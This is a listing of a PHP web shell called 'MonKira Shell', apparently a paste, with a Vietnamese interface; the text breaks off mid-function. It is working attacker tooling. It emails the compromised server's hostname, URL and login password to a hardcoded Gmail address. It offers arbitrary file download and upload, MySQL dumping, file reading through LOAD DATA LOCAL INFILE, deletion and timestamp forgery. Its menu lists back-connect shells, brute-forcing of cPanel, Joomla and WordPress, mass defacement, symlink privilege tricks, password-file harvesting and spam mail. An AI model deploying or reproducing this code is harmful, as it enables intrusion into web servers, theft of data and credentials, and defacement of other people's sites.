· 10 years ago · Apr 10, 2016, 11:42 AM
1<?php
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5$mtime = explode(' ', microtime());
6$starttime = $mtime[1] + $mtime[0];
7define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)) . '/');
8define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
9define('IS_COM', class_exists('COM') ? 1 : 0);
10define('IS_GPC', get_magic_quotes_gpc());
11$dis_func = get_cfg_var('disable_functions');
12define('IS_PHPINFO', (!eregi("phpinfo", $dis_func)) ? 1 : 0);
13@set_time_limit(0);
14foreach (array(
15 '_GET',
16 '_POST'
17) as $_request) {
18 foreach ($$_request as $_key => $_value) {
19 if ($_key{0} != '_') {
20 if (IS_GPC) {
21 $_value = s_array($_value);
22 }
23 $$_key = $_value;
24 }
25 }
26}
27$admin = array();
28
29
30$admin['cookiepre'] = '';
31$admin['cookiedomain'] = '';
32$admin['cookiepath'] = '/';
33$admin['cookielife'] = 86400; //1 ngày
34if ($charset == 'utf8') {
35 header("content-Type: text/html; charset=utf-8");
36} elseif ($charset == 'big5') {
37 header("content-Type: text/html; charset=big5");
38} elseif ($charset == 'gbk') {
39 header("content-Type: text/html; charset=gbk");
40} elseif ($charset == 'latin1') {
41 header("content-Type: text/html; charset=iso-8859-2");
42}
43$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
44$timestamp = time();
45if ($action == "logout") {
46 scookie('monkira', '', -86400 * 365); // cookie này giá trị là rỗng, thời hạn 1 năm
47 p('<meta http-equiv="refresh" content="0;URL=' . $self . '">');
48 p('<body background=black>');
49 exit;
50}
51if ($admin['check']) {
52 if ($doing == 'login') {
53 if ($admin['pass'] == $password) {
54 scookie('monkira', $password);
55 $time_shell = "" . date("d/m/Y - H:i:s") . "";
56 $ip_remote = $_SERVER["REMOTE_ADDR"];
57 $from_shellcode = 'shell@' . gethostbyname($_SERVER['SERVER_NAME']) . '';
58 $to_email = 'nonz1412@gmail.com';
59 //
60 $server_mail = "" . gethostbyname($_SERVER['SERVER_NAME']) . " - " . $_SERVER['HTTP_HOST'] . "";
61 $linkcr = "Link: " . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . " - IP Excuting: $ip_remote - Time: $time_shell - Pwd: $password";
62 $header = "From: $from_shellcode
63Reply-to: $from_shellcode";
64 @mail($to_email, $server_mail, $linkcr, $header);
65 p('<meta http-equiv="refresh" content="2;URL=' . $self . '">');
66 p('<body bgcolor=black><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
67<BR><BR><div align=center><font color=#18a2d0 face="tahoma" size=3><b>Chào MonKira!!! Chúc MonKira làm việc vui vẻ !!!</b><BR><img src=http://i1065.photobucket.com/albums/u391/MonKira/monkira_zpsyy5fcjub.gif></div>');
68 exit;
69 } else {
70 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Mật khẩu sai, MonKira!!!</blink><BR></font></div></td></tr></table>';
71 echo $err_mess;
72 }
73 }
74 if ($_COOKIE['monkira']) {
75 if ($_COOKIE['monkira'] != $admin['pass']) {
76 loginpage();
77 }
78 } else {
79 loginpage();
80 }
81}
82$errmsg = '';
83if ($action == 'phpinfo') {
84 if (IS_PHPINFO) {
85 phpinfo();
86 } else {
87 $errmsg = 'phpinfo() function has non-permissible';
88 }
89}
90if ($doing == 'downfile' && $thefile) {
91 if (!@file_exists($thefile)) {
92 $errmsg = 'The file you want Downloadable was nonexistent';
93 } else {
94 $fileinfo = pathinfo($thefile);
95 header('Content-type: application/x-' . $fileinfo['extension']);
96 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
97 header('Content-Length: ' . filesize($thefile));
98 @readfile($thefile);
99 exit;
100 }
101}
102if ($doing == 'backupmysql' && !$saveasfile) {
103 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
104 $table = array_flip($table);
105 $result = q("SHOW tables");
106 if (!$result)
107 p('<h2>' . mysql_error() . '</h2>');
108 $filename = basename($_SERVER['HTTP_HOST'] . '_MySQL.sql');
109 header('Content-type: application/unknown');
110 header('Content-Disposition: attachment; filename=' . $filename);
111 $mysqldata = '';
112 while ($currow = mysql_fetch_array($result)) {
113 if (isset($table[$currow[0]])) {
114 $mysqldata .= sqldumptable($currow[0]);
115 }
116 }
117 mysql_close();
118 exit;
119}
120if ($doing == 'mysqldown') {
121 if (!$dbname) {
122 $errmsg = ' dbname';
123 } else {
124 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
125 if (!file_exists($mysqldlfile)) {
126 $errmsg = 'The file you want Downloadable was nonexistent';
127 } else {
128 $result = q("select load_file('$mysqldlfile');");
129 if (!$result) {
130 q("DROP TABLE IF EXISTS tmp_angel;");
131 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
132 q("LOAD DATA LOCAL INFILE '" . addslashes($mysqldlfile) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
133 $result = q("select content from tmp_angel");
134 q("DROP TABLE tmp_angel");
135 }
136 $row = @mysql_fetch_array($result);
137 if (!$row) {
138 $errmsg = 'Load file failed ' . mysql_error();
139 } else {
140 $fileinfo = pathinfo($mysqldlfile);
141 header('Content-type: application/x-' . $fileinfo['extension']);
142 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
143 header("Accept-Length: " . strlen($row[0]));
144 echo $row[0];
145 exit;
146 }
147 }
148 }
149}
150?>
151 <?php
152 //setup php for working with Unicode data
153mb_internal_encoding('UTF-8');
154mb_http_output('UTF-8');
155mb_http_input('UTF-8');
156mb_language('uni');
157mb_regex_encoding('UTF-8');
158ob_start('mb_output_handler');
159echo '<html>
160<head>
161<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
162<title>.:: MonKira Shell ::. </title>
163<link href="http://monkira.tk/shell.css" rel="stylesheet" media="all">
164<script type="text/javascript">
165function CheckAll(form) {
166 for(var i=0;i<form.elements.length;i++) {
167 var e = form.elements[i];
168 if (e.name != \'chkall\')
169 e.checked = form.chkall.checked;
170 }
171}
172function $(id) {
173 return document.getElementById(id);
174}
175function goaction(act){
176 $(\'goaction\').action.value=act;
177 $(\'goaction\').submit();
178}
179</script>
180</head>
181<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black>
182<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
183 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
184 <tr>
185 <td align="center" valign=center>
186 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
187 MonKira<img src="http://i1065.photobucket.com/albums/u391/MonKira/monkira_zpsyy5fcjub.gif">
188 </div>
189 </td>
190 </tr>
191 </table>
192</div>
193 <script>
194 var ld=(document.all);
195 var ns4=document.layers;
196 var ns6=document.getElementById&&!document.all;
197 var ie4=document.all;
198 if (ns4)
199 ld=document.loading;
200 else if (ns6)
201 ld=document.getElementById("loading").style;
202 else if (ie4)
203 ld=document.all.loading.style;
204 function init()
205 {
206 if(ns4){ld.visibility="hidden";}
207 else if (ns6||ie4) ld.display="none";
208 }
209 </script>
210<table width="100%" border="0" cellpadding="0" cellspacing="0">
211 <tr class="head_small">
212 <td width=100%>
213 <table width=100%><tr class="head_small"><td width="150px">
214 <a href="<?php $self;?>"><img style="-webkit-animation: monkira11 1s infinite" src="http://i1065.photobucket.com/albums/u391/MonKira/YonDolly_zpsnpalmlax.jpg" border=0 width="260" height="180"></a></td>
215 <td>
216
217 <span style="float:left;"> ';echo "<font color=#ff0082>Hostname: </font><font color=aqua>".$_SERVER['HTTP_HOST']."<font>";;echo ' | Server IP: ';echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";echo ' | Your IP: ';echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";;echo ' | <a href="https://www.facebook.com/monkira.hs" target="_blank">';echo str_replace('.','','Contac MonKira');;echo ' </a> | <a href="javascript:goaction(\'logout\');"><font color=red>Đăng Xuất</font></a> | <a href="javascript:goaction(\'kill\');"> <font color=aqua right=13px><b>Kill Shell</b></font></a></span> <br />
218
219 ';
220
221
222$curl_on = @function_exists('curl_version');
223$mysql_on = @function_exists('mysql_connect');
224$mssql_on = @function_exists('mssql_connect');
225$pg_on = @function_exists('pg_connect');
226$ora_on = @function_exists('ocilogon');
227echo (($safe_mode) ? ("Safe_mod: <b><font color=green>Mở</font></b> - ") : ("Safe_mod: <b><font color=red>Đóng</font></b> - "));
228echo "PHP version: <b>" . @phpversion() . "</b> - ";
229echo "cURL: " . (($curl_on) ? ("<b><font color=green>Mở</font></b> - ") : ("<b><font color=red>Đóng</font></b> - "));
230echo "MySQL: <b>";
231$mysql_on = @function_exists('mysql_connect');
232if ($mysql_on) {
233 echo "<font color=green>Mở</font></b> - ";
234} else {
235 echo "<font color=red>Đóng</font></b> - ";
236}
237echo "MSSQL: <b>";
238$mssql_on = @function_exists('mssql_connect');
239if ($mssql_on) {
240 echo "<font color=green>Mở</font></b> - ";
241} else {
242 echo "<font color=red>Đóng</font></b> - ";
243}
244echo "PostgreSQL: <b>";
245$pg_on = @function_exists('pg_connect');
246if ($pg_on) {
247 echo "<font color=green>Mở</font></b> - ";
248} else {
249 echo "<font color=red>Đóng</font></b> - ";
250}
251echo "Oracle: <b>";
252$ora_on = @function_exists('ocilogon');
253if ($ora_on) {
254 echo "<font color=green>Mở</font></b>";
255} else {
256 echo "<font color=red>Đóng</font></b><BR>";
257}
258echo "Disable functions : <b>";
259if ('' == ($df = @ini_get('disable_functions'))) {
260 echo "<font color=green>KHÔNG</font></b><BR>";
261} else {
262 echo "<font color=red>$df</font></b><BR>";
263}
264
265echo "<font color=#ff4e00 site=3>Uname -a</font>: <font color=violet>" . @substr(@php_uname(), 0, 120) . "</font>";
266$kernel = @php_uname();
267echo " - <a href=https://www.google.com.vn/search?q=Linux+Exploit+kernel+" .urlencode(@php_uname(r))." target='_blank'><font color=yellow><b>[Kernel Exploi]</b></font><br></a>";
268echo "<font color=#ff4e00>Server</font>: " . @substr($SERVER_SOFTWARE, 0, 120) . " - <font color=#6eff00>id</font>: " . @getmyuid() . "(" . @get_current_user() . ") - <font color=fff400>uid=" . @getmyuid() . " (" . @get_current_user() . ") </font><font color=15ff00>gid=" . @getmygid() . "(" . @get_current_user() . ")</font><br><a href=javascript:goaction('phpini');><font color=#ff0082>--PHP.INI--</font>
269<a href=javascript:goaction('phpinfo');><font color=yellow>--[PHP INFO]--</font></a>
270<a href=http://www.bing.com/search?q=ip:" .urlencode(gethostbyname($_SERVER['SERVER_NAME']))." target='_blank'><font color=aqua>--[Bing IP]--</font></a>";
271?></td></tr></table></td>
272 </tr>
273
274 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
275 <tr class="alt1">
276 <td width=10%><style>
277 #abt-nav,#abt-nav ul {
278 list-style: none outside none;
279 margin: 0;
280 padding: 0;
281}
282#abt-nav {
283 background: url('http://i1065.photobucket.com/albums/u391/MonKira/Menu1_zpsbptloe3g.png');
284 clear: both;
285 font-size: 12px;
286 height: 45px;
287 padding: 0 0 0 15px;
288 position: relative;
289 width: 100%;
290}
291#abt-nav ul {
292 background-color: #222;
293 border:1px solid #222;
294 border-radius: 0 5px 5px 5px;
295 border-width: 0 1px 1px;
296 box-shadow: 0 5px 5px rgba(0, 0, 0, 0.5);
297 left: -9999px;
298 overflow: hidden;
299 position: absolute;
300 top: -9999px;
301 z-index: 2;
302 -moz-transform: scaleY(0);
303 -ms-transform: scaleY(0);
304 -o-transform: scaleY(0);
305 -webkit-transform: scaleY(0);
306 transform: scaleY(0);
307 -moz-transform-origin: 0 0;
308 -ms-transform-origin: 0 0;
309 -o-transform-origin: 0 0;
310 -webkit-transform-origin: 0 0;
311 transform-origin: 0 0;
312 -moz-transition: -moz-transform 0.1s linear;
313 -ms-transition: -ms-transform 0.1s linear;
314 -o-transition: -o-transform 0.1s linear;
315 -webkit-transition: -webkit-transform 0.1s linear;
316 transition: transform 0.1s linear;
317}
318#abt-nav li {
319 background: url('http://4.bp.blogspot.com/-3KmCMhrXTqg/VJN8Vdc3FaI/AAAAAAAABWA/chuPnYYih2Y/s1600/Menu2.png') no-repeat scroll right 5px transparent;
320 float: left;
321 position: relative;
322}
323#abt-nav li a {
324 color: #FFFFFF;
325 display: block;
326 float: left;
327 font-weight: normal;
328 height: 30px;
329 padding: 23px 20px 0;
330 position: relative;
331 text-decoration: none;
332 text-shadow: 1px 1px 1px #000000;
333}
334#abt-nav li:hover > a {
335 color: #00B4FF;
336}
337#abt-nav li:hover, #abt-nav a:focus, #abt-nav a:hover, #abt-nav a:active {
338 background: none repeat scroll 0 0 #121212;
339 outline: 0 none;
340}
341#abt-nav li:hover ul.subs {
342 left: 0;
343 top: 53px;
344 width: 180px;
345 -moz-transform: scaleY(1);
346 -ms-transform: scaleY(1);
347 -o-transform: scaleY(1);
348 -webkit-transform: scaleY(1);
349 transform: scaleY(1);
350}
351#abt-nav ul li {
352 background: none;
353 width: 100%;
354}
355#abt-nav ul li a {
356 float: none;
357}
358#abt-nav ul li:hover > a {
359 background-color: #121212;
360 color: #00B4FF;
361}
362#lavalamp {
363 background: url('http://1.bp.blogspot.com/-8IK_bj0a8D8/VJN8VWkwVHI/AAAAAAAABVw/CCv-Pyt7noE/s1600/Menu3.png') no-repeat scroll 0 0 transparent;
364 height: 16px;
365 left: 13px;
366 position: absolute;
367 top: 0px;
368 width: 64px;
369 -moz-transition: all 300ms ease;
370 -ms-transition: all 300ms ease;
371 -o-transition: all 300ms ease;
372 -webkit-transition: all 300ms ease;
373 transition: all 300ms ease;
374}
375#lavalamp:hover {
376 -moz-transition-duration: 3000s;
377 -ms-transition-duration: 3000s;
378 -o-transition-duration: 3000s;
379 -webkit-transition-duration: 3000s;
380 transition-duration: 3000s;
381}
382
383#abt-nav li:nth-of-type(1):hover ~ #lavalamp {
384 left: 17px;
385}
386#abt-nav li:nth-of-type(2):hover ~ #lavalamp {
387 left: 103px;
388}
389#abt-nav li:nth-of-type(3):hover ~ #lavalamp {
390 left: 178px;
391}
392#abt-nav li:nth-of-type(4):hover ~ #lavalamp {
393 left: 262px;
394}
395#abt-nav li:nth-of-type(5):hover ~ #lavalamp {
396 left: 344px;
397}
398#abt-nav li:nth-of-type(6):hover ~ #lavalamp {
399 left: 425px;
400}
401#abt-nav li:nth-of-type(7):hover ~ #lavalamp {
402 left: 522px;
403}
404#abt-nav li:nth-of-type(8):hover ~ #lavalamp {
405 left: 615px;
406}
407#abt-nav li:nth-of-type(9):hover ~ #lavalamp {
408 left: 705px;
409}
410#abt-nav li:nth-of-type(10):hover ~ #lavalamp {
411 left: 795px;
412}
413#abt-nav li:nth-of-type(11):hover ~ #lavalamp {
414 left: 900px;
415}
416#abt-nav li:nth-of-type(12):hover ~ #lavalamp {
417 left: 1005px;
418}
419#abt-nav li:nth-of-type(13):hover ~ #lavalamp {
420 left: 1100px;
421}
422#abt-nav li:nth-of-type(14):hover ~ #lavalamp {
423 left: 1190px;
424}
425#abt-nav li:nth-of-type(15):hover ~ #lavalamp {
426 left: 1287px;
427}
428#abt-nav li:nth-of-type(16):hover ~ #lavalamp {
429 left: 1377px;
430}
431#abt-nav li:nth-of-type(17):hover ~ #lavalamp {
432 left: 1475px;
433}
434#abt-nav li:nth-of-type(18):hover ~ #lavalamp {
435 left: 195px;
436}
437#abt-nav li:nth-of-type(19):hover ~ #lavalamp {
438 left: 1610px;
439}
440 </style>
441 <ul id="abt-nav">
442 <li><a href="javascript:goaction('file');"><font color=#FFFF00>Trang chủ</font></a></li>
443 <li><a href="javascript:goaction('sqladmin');"><font color=#C38EC7>SQL</font></a></li>
444 <li><a href="javascript:goaction('etcpwd');"><font color=#EEE0E5>Get user</font></a></li>
445 <li><a class="hsubs" href="#"><font color=#FF3300>CGI Shell</font></a>
446 <ul class="subs">
447 <li><a href="javascript:goaction('log');" target="_blank" >CGI Shell Telnet (.log)</a></li>
448 <li><a href="javascript:goaction('pl');" target="_blank">CGI Shell Telnet (.pl)</a></li>
449 <li><a href="javascript:goaction('sa');" target="_blank">CGI Shell .sa</a></li>
450 <li><a href="javascript:goaction('cin');" target="_blank">CGI Shell .cin</a></li>
451 <li><a href="javascript:goaction('izo');" target="_blank">CGI Shell .izo</a></li>
452 <li><a href="javascript:goaction('shtml');" target="_blank">SSI Shell .shtml</a></li>
453 </ul>
454 </li>
455
456
457 <li><a class="hsubs" href="#"><font color=#52F3FF>Tools</font></a>
458 <ul class="subs">
459 <li><a href="javascript:goaction('md5');">Encode Md5</a></li>
460 <li><a href="javascript:goaction('spam');">Spam Mail</a></li>
461 <li><a href="javascript:goaction('zipcode');">Zip Code</a></li>
462 <li><a href="javascript:goaction('priv8');">Priv8 Python</a></li>
463 <li><a href="javascript:goaction('pack');">Shell Pack</a></li>
464 <li><a href="javascript:goaction('huongdan');">TUT SQLi</a></li>
465 <li><a href="javascript:goaction('exlocal');">TUT Local</a></li>
466
467 </ul>
468
469 </li>
470 <li><a href="javascript:goaction('symroot');"><font color=#5EFB6E>Get Root</font></a></li>
471 <li><a href="sym/" target="_blank"><font color=#FF3030>Mở Sym-Root</font> </a></li>
472 <li><a class="hsubs" href="#"><font color=#FF00FF>Symlink</font></a>
473 <ul class="subs">
474 <li><a href="javascript:goaction('symljnk');">Domain-User</a></li>
475 <li><a href="javascript:goaction('symtool');">Symlink Tools</a></li>
476 <li><a href="javascript:goaction('fakesym');">Fake Symlink</a></li>
477 </ul>
478 </li>
479
480 <li><a href="javascript:goaction('scan');"><font color=#00F5FF>Scan Shell</font></a></li>
481 <li><a href="javascript:goaction('reverseip');"><font color=#FF8C00>Reverse IP </font></a></li>
482 <li><a class="hsubs" href="#"><font color=#00abff>Mass Deface</font></a>
483 <ul class="subs">
484 <li><a href="javascript:goaction('mass');">With Root</a></li>
485 <li><a href="javascript:goaction('massfd');">User Folder</a></li>
486
487
488 </ul>
489 </li>
490 <li><a class="hsubs" href="#"><font color=#6CC417>Command</font></a>
491 <ul class="subs">
492 <li><a href="javascript:goaction('command');">Execute Command</a></li>
493 <li><a href="javascript:goaction('termi');">DIE Group Terminal</a></li>
494 </ul></li>
495 <li><a href="javascript:goaction('backdoor');"><font color=#EE3B3B>Back Door</font></a></li>
496 <li><a href="javascript:goaction('df');"><font color=#FF69B4>Deface</font></a></li>
497 <li><a href="#;"><font color=#ADFF2F>Back Connect</font></a>
498 <ul class="subs">
499 <li><a href="javascript:goaction('backconnect');">Back Conect Perl/C</a></li>
500 <li><a href="javascript:goaction('bcphp');">Back Conect PHP</a></li>
501 </ul>
502
503 </li>
504 <li><a class="hsubs" href="#"><font color=#6CC417>Brute</font></a>
505 <ul class="subs">
506 <li><a href="javascript:goaction('brute');" >Brute Cpanel</a></li>
507 <li><a href="javascript:goaction('joomla');" >Brute Joomla</a></li>
508 <li><a href="javascript:goaction('brutewp');" >Brute Wordpress</a></li>
509 </ul>
510 </li>
511 <li><a href="javascript:goaction('find');"><font color=#52F3FF>Tìm link Admin</font></a></li>
512
513 <div id="lavalamp"></div>
514</ul>
515
516 </td>
517 </tr>
518</table>
519<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
520<?php
521//setup php for working with Unicode data
522mb_internal_encoding('UTF-8');
523mb_http_output('UTF-8');
524mb_http_input('UTF-8');
525mb_language('uni');
526mb_regex_encoding('UTF-8');
527ob_start('mb_output_handler');
528formhead(array(
529 'name' => 'goaction'
530));
531makehide('action');
532formfoot();
533$errmsg && m($errmsg);
534!$dir && $dir = '.';
535$nowpath = getPath(SA_ROOT, $dir);
536if (substr($dir, -1) != '/') {
537 $dir = $dir . '/';
538}
539$uedir = ue($dir);
540if (!$action || $action == 'file') {
541 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
542 if ($doing == 'deldir' && $thefile) {
543 if (!file_exists($thefile)) {
544 m($thefile . ' directory does not exist');
545 } else {
546 m('Thư mục được xóa ' . (deltree($thefile) ? basename($thefile) . ' thành công' : 'thất bại'));
547 }
548 } elseif ($newdirname) {
549 $mkdirs = $nowpath . $newdirname;
550 if (file_exists($mkdirs)) {
551 m('Thư mục đã tồn tại');
552 } else {
553 m('Thư mục được tạo ' . (@mkdir($mkdirs, 0777) ? 'thành công' : 'thất bại'));
554 @chmod($mkdirs, 0777);
555 }
556 } elseif ($doupfile) {
557 m('File tải lên ' . (@copy($_FILES['uploadfile']['tmp_name'], $uploaddir . '/' . $_FILES['uploadfile']['name']) ? 'thành công' : 'thất bại'));
558 } elseif ($editfilename && $filecontent) {
559 $fp = @fopen($editfilename, 'w');
560 m('Lưu file ' . (@fwrite($fp, $filecontent) ? 'thành công' : 'thất bại'));
561 @fclose($fp);
562 } elseif ($pfile && $newperm) {
563 if (!file_exists($pfile)) {
564 m('The original file does not exist');
565 } else {
566 $newperm = base_convert($newperm, 8, 10);
567 m('Thay đổi phân quyền ' . (@chmod($pfile, $newperm) ? 'thành công' : 'Thất bại'));
568 }
569 } elseif ($oldname && $newfilename) {
570 $nname = $nowpath . $newfilename;
571 if (file_exists($nname) || !file_exists($oldname)) {
572 m($nname . ' has already existed or original file does not exist');
573 } else {
574 m(basename($oldname) . ' Đổi tên ' . basename($nname) . (@rename($oldname, $nname) ? ' thành công' : 'thất bại'));
575 }
576 } elseif ($sname && $tofile) {
577 if (file_exists($tofile) || !file_exists($sname)) {
578 m('The goal file has already existed or original file does not exist');
579 } else {
580 m(basename($tofile) . ' Sao chép ' . (@copy($sname, $tofile) ? basename($tofile) . ' thành công' : 'thất bại'));
581 }
582 } elseif ($curfile && $tarfile) {
583 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
584 m('The goal file has already existed or original file does not exist');
585 } else {
586 $time = @filemtime($tarfile);
587 m('Thay đổi thời gian sửa file ' . (@touch($curfile, $time, $time) ? 'thành công' : 'thất bại'));
588 }
589 } elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
590 if (!@file_exists($curfile)) {
591 m(basename($curfile) . ' does not exist');
592 } else {
593 $time = strtotime("$year-$month-$day $hour:$minute:$second");
594 m('Thay đổi thời gian sửa file ' . (@touch($curfile, $time, $time) ? 'thành công' : 'thất bại'));
595 }
596 } elseif ($doing == 'downrar') {
597 if ($dl) {
598 $dfiles = '';
599 foreach ($dl as $filepath => $value) {
600 $dfiles .= $filepath . ',';
601 }
602 $dfiles = substr($dfiles, 0, strlen($dfiles) - 1);
603 $dl = explode(',', $dfiles);
604 $zip = new PHPZip($dl);
605 $code = $zip->out;
606 header('Content-type: application/octet-stream');
607 header('Accept-Ranges: bytes');
608 header('Accept-Length: ' . strlen($code));
609 header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . '_Files.tar.gz');
610 echo $code;
611 exit;
612 } else {
613 m('Xin hãy chọn file');
614 }
615 } elseif ($doing == 'delfiles') {
616 if ($dl) {
617 $dfiles = '';
618 $succ = $fail = 0;
619 foreach ($dl as $filepath => $value) {
620 if (@unlink($filepath)) {
621 $succ++;
622 } else {
623 $fail++;
624 }
625 }
626 m('Xóa >> thành công ' . $succ . ' thất bại ' . $fail);
627 } else {
628 m('Xin hãy chọn file');
629 }
630 }
631 formhead(array(
632 'name' => 'createdir'
633 ));
634 makehide('newdirname');
635 makehide('dir', $nowpath);
636 formfoot();
637 formhead(array(
638 'name' => 'fileperm'
639 ));
640 makehide('newperm');
641 makehide('pfile');
642 makehide('dir', $nowpath);
643 formfoot();
644 formhead(array(
645 'name' => 'copyfile'
646 ));
647 makehide('sname');
648 makehide('tofile');
649 makehide('dir', $nowpath);
650 formfoot();
651 formhead(array(
652 'name' => 'rename'
653 ));
654 makehide('oldname');
655 makehide('newfilename');
656 makehide('dir', $nowpath);
657 formfoot();
658 formhead(array(
659 'name' => 'fileopform'
660 ));
661 makehide('action');
662 makehide('opfile');
663 makehide('dir');
664 formfoot();
665 $free = @disk_free_space($nowpath);
666 !$free && $free = 0;
667 $all = @disk_total_space($nowpath);
668 !$all && $all = 0;
669 $used = $all - $free;
670 $used_percent = @round(100 / ($all / $free), 2);
671 p('<font color=yellow face=tahoma size=2><B>Quản lí dữ liệu</b> </font> Ổ đĩa còn trống <font color=red>' . sizecount($free) . '</font> of <font color=red>' . sizecount($all) . '</font> (<font color=red>' . $used_percent . '</font>%)</font>');
672?><table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
673 <form action="" method="post" id="godir" name="godir">
674 <tr>
675 <td nowrap>Directory (<?php
676 echo $dir_writeable;
677?>, <?php
678 echo getChmod($nowpath);
679?>)</td>
680 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php
681 echo $nowpath;
682?>" type="text" style="width:100%;margin:0 8px;"></td>
683 <td nowrap><input class="bt" value="MonKira" type="submit"></td>
684 </tr>
685 </form>
686 </table>
687 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
688 <script type="text/javascript">
689function createdir(){
690 var newdirname;
691 newdirname = prompt('directory name:', '');
692 if (!newdirname) return;
693 $('createdir').newdirname.value=newdirname;
694 $('createdir').submit();
695}
696function fileperm(pfile){
697 var newperm;
698 newperm = prompt('Path của file/folder:'+pfile+'\n Thuộc tính mới:', '');
699 if (!newperm) return;
700 $('fileperm').newperm.value=newperm;
701 $('fileperm').pfile.value=pfile;
702 $('fileperm').submit();
703}
704function copyfile(sname){
705 var tofile;
706 tofile = prompt('Path file cũ:'+sname+'\n Path file mới (ghi đầy đủ path):', '');
707 if (!tofile) return;
708 $('copyfile').tofile.value=tofile;
709 $('copyfile').sname.value=sname;
710 $('copyfile').submit();
711}
712function rename(oldname){
713 var newfilename;
714 newfilename = prompt('Path folder cũ:'+oldname+'\n Tên mới:', '');
715 if (!newfilename) return;
716 $('rename').newfilename.value=newfilename;
717 $('rename').oldname.value=oldname;
718 $('rename').submit();
719}
720function dofile(doing,thefile,m){
721 if (m && !confirm(m)) {
722 return;
723 }
724 $('filelist').doing.value=doing;
725 if (thefile){
726 $('filelist').thefile.value=thefile;
727 }
728 $('filelist').submit();
729}
730function createfile(nowpath){
731 var filename;
732 filename = prompt('file name:', '');
733 if (!filename) return;
734 opfile('editfile',nowpath + filename,nowpath);
735}
736function opfile(action,opfile,dir){
737 $('fileopform').action.value=action;
738 $('fileopform').opfile.value=opfile;
739 $('fileopform').dir.value=dir;
740 $('fileopform').submit();
741}
742function godir(dir,view_writable){
743 if (view_writable) {
744 $('godir').view_writable.value=1;
745 }
746 $('godir').dir.value=dir;
747 $('godir').submit();
748}
749</script>
750 <?php
751 //setup php for working with Unicode data
752mb_internal_encoding('UTF-8');
753mb_http_output('UTF-8');
754mb_http_input('UTF-8');
755mb_language('uni');
756mb_regex_encoding('UTF-8');
757ob_start('mb_output_handler');
758 tbhead();
759 p('<form action="' . $self . '" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
760 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="' . $dir . '" type="hidden" /><input name="dir" value="' . $dir . '" type="hidden" /></div>');
761 p('<a href="javascript:godir(\'' . $_SERVER["DOCUMENT_ROOT"] . '\');">Thư mục gốc</a>');
762 if ($view_writable) {
763 p(' | <a href="javascript:godir(\'' . $nowpath . '\');">Xem tất cả</a>');
764 } else {
765 p(' | <a href="javascript:godir(\'' . $nowpath . '\',\'1\');">Chỉ xem thư mục</a>');
766 }
767 p(' | <a href="javascript:createdir();">Tạo thư mục mới</a> | <a href="javascript:createfile(\'' . $nowpath . '\');">Tạo file mới</a>');
768 if (IS_WIN && IS_COM) {
769 $obj = new COM('scripting.filesystemobject');
770 if ($obj && is_object($obj)) {
771 $DriveTypeDB = array(
772 0 => 'Unknow',
773 1 => 'Removable',
774 2 => 'Fixed',
775 3 => 'Network',
776 4 => 'CDRom',
777 5 => 'RAM Disk'
778 );
779 foreach ($obj->Drives as $drive) {
780 if ($drive->DriveType == 2) {
781 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Size:' . sizecount($drive->TotalSize) . ' Free:' . sizecount($drive->FreeSpace) . ' Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
782 } else {
783 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
784 }
785 }
786 }
787 }
788 p('</td></tr></form>');
789 p('<tr class="head"><td> </td><td>Tên file</td><td width="16%">Sửa lần cuối</td><td width="10%">Kích thước</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
790 $dirdata = array();
791 $filedata = array();
792 if ($view_writable) {
793 $dirdata = GetList($nowpath);
794 } else {
795 $dirs = @opendir($dir);
796 while ($file = @readdir($dirs)) {
797 $filepath = $nowpath . $file;
798 if (@is_dir($filepath)) {
799 $dirdb['filename'] = $file;
800 $dirdb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
801 $dirdb['dirchmod'] = getChmod($filepath);
802 $dirdb['dirperm'] = getPerms($filepath);
803 $dirdb['fileowner'] = getUser($filepath);
804 $dirdb['dirlink'] = $nowpath;
